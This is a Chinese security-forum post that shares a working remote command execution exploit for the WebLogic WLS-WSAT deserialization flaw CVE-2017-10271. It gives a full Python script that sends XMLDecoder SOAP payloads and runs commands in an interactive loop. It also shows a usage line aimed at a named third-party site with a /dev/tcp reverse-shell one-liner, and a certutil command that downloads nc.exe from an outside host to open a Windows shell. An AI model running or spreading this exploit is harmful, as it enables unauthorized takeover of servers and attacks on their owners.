WebLogic WLS-WebServices组件反序列化漏洞—Linux可执行反弹一句话版本

pt007 / 2018-01-05 17:51:00 / 浏览数 3279 安全工具 工具 顶(0) 踩(0)

//linux版本执行反弹一句话成功：

```
CVE-2017-10271_linux.py http://www.sohu.com:80/
/bin/sh -i >/dev/tcp/210.73.xx.1/8000 0<&1 2>&1
```

//win版本的利用方式：

我给个提示，下载exe程序,反弹一个cmdshell回来操作：

```
certutil -urlcache -split -f http://210.73.xx/cqjtzhywxt/images/nc.exe c:/windows/temp/nc.exe

import requests
import sys

url_in = sys.argv[1]
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
payload_header = {'content-type': 'text/xml'}


def payload_command (command_in):
   html_escape_table = {
       "&": "&amp;",
       '"': "&quot;",
       "'": "&apos;",
       ">": "&gt;",
       "<": "&lt;",
   }
   command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
   payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
               "   <soapenv:Header> " \
               "       <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
               "           <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
               "               <void class=\"java.lang.ProcessBuilder\"> \n" \
               "                   <array class=\"java.lang.String\" length=\"3\">" \
               "                       <void index = \"0\">                        " \
               "                           <string>/bin/bash</string>                 " \
               "                       </void>                                     " \
               "                       <void index = \"1\">                        " \
               "                           <string>-c</string>                   " \
               "                       </void>                                     " \
               "                       <void index = \"2\">                        " \
               + command_filtered + \
               "                       </void>                                     " \
               "                   </array>" \
               "                   <void method=\"start\"/>" \
               "                   </void>" \
               "            </java>" \
               "        </work:WorkContext>" \
               "   </soapenv:Header>" \
               "   <soapenv:Body/>" \
               "</soapenv:Envelope>"
   return payload_1

def do_post(command_in):
   result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)

   if result.status_code == 500:
       print "Command Executed \n"
   else:
       print "Something Went Wrong \n"
```

```
print "************************************************* \n" \
      "****************   Coded By 1337g  ***************** \n" \
      "*  CVE-2017-10271 Blind Remote Command Execute EXP  * \n" \
      "************************************************* \n"

while 1:
   command_in = raw_input("Eneter your command here: ")
   if command_in == "exit" :
          exit(0)
   do_post(command_in)
```

点击收藏 | 1 关注 | 1

上一篇：ColdFusion反序列化漏洞分... 下一篇：菜鸟问题。。。关于负载均衡和IP

1. 0 条回复
   - 动动手指，沙发就是你的了！